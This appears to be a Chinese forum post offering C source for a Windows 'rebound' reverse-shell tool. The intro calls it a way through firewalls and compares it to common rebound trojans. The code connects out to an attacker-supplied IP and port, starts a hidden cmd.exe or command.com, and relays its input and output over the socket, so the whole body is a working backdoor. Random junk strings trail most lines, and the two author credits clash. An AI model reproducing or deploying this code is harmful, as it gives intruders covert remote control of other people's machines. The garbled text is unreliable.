这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -kp swP
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/* ============================== K=?VDN
Rebound port in Windows NT ,Q/Ac{C
By wind,2006/7 Zj*\"Ol
===============================*/ w~Ff%p@9
#include K>2 #UzW
#include Sm-wH^~KA
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#pragma comment(lib,"wsock32.lib") p'n4)I2#
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void OutputShell(); -x`G2i
SOCKET sClient; xd-XWXc
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8FkFM^\1L
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void main(int argc,char **argv) Xm1[V&
{ Ad$n4Ze
WSADATA stWsaData; _:`!DIz~9}
int nRet; |o<8}Nja6
SOCKADDR_IN stSaiClient,stSaiServer; T]T;$
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if(argc != 3) (08I
{ bEV<iZDq%
printf("Useage:\n\rRebound DestIP DestPort\n"); aqU'
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return; Avlz=k1*
} 27F~(!n
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WSAStartup(MAKEWORD(2,2),&stWsaData); KvPX=/&Zu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }!>=|1fY
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stSaiClient.sin_family = AF_INET; 6\jf|:h
stSaiClient.sin_port = htons(0); ]rN5Ao}2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cbYLU\!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WQNE2Q
{ z*$q8Z&7rg
printf("Bind Socket Failed!\n"); 5kNzv~4B,;
return; #-% A[7Cdp
}
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stSaiServer.sin_family = AF_INET; &k7;DO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gb=/#G0R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fFvF\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^D`v3d
{ bI)u/
printf("Connect Error!"); !HeSOzN
return; b1XRC`Gy
} _p-t<ytnh
OutputShell(); ;Vik5)D2D
} K_?W\Yg
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void OutputShell() sVk$x:k1M
{ :j')E`#
char szBuff[1024]; #GDe08rOw
SECURITY_ATTRIBUTES stSecurityAttributes; cKb)VG^
OSVERSIONINFO stOsversionInfo; U7uKRv9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7@lS.w\#-
STARTUPINFO stStartupInfo; )*; zW!H
char *szShell; 3p2P=
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PROCESS_INFORMATION stProcessInformation; /xGmg`g<#
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o&AM2U/?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -/{4Jf Wf
stSecurityAttributes.lpSecurityDescriptor = 0; x8\A<(G_M=
stSecurityAttributes.bInheritHandle = TRUE; XU/QA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8Og_W8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xc"&0v%;#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pfu1O6R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E*L iM5+I
stStartupInfo.wShowWindow = SW_HIDE; 7eWk7&Xul
stStartupInfo.hStdInput = hReadPipe; '13ZX:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dq[Mj5eC
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GetVersionEx(&stOsversionInfo); :qChMU|Y6
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switch(stOsversionInfo.dwPlatformId) %IC73?
{ 8
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case 1: >pU:Gr
szShell = "command.com"; Hwo$tVa:=
break; G8Nt
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default: Ag F,aZU
szShell = "cmd.exe"; r$]HIvJD
break; %Y!Yvw^&P(
} lA>DS#_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uV 7BK+[O
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send(sClient,szMsg,77,0); D#&q&6P{
while(1) (@iMLuewK
{ ,t\* ZTt$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !S&L*OH,
if(lBytesRead)
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{ H\XP\4#u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ChCrL[2
send(sClient,szBuff,lBytesRead,0); wn)JXR
} sZW^!z
else 2Ry1b+\
{ ;j4?>3
lBytesRead=recv(sClient,szBuff,1024,0); ?_I[,N?@41
if(lBytesRead<=0) break; 'uq#ai[5I
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rk)##)
} ]O]GeAGC2
} 2(/g}
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return; z)HD`Ho
}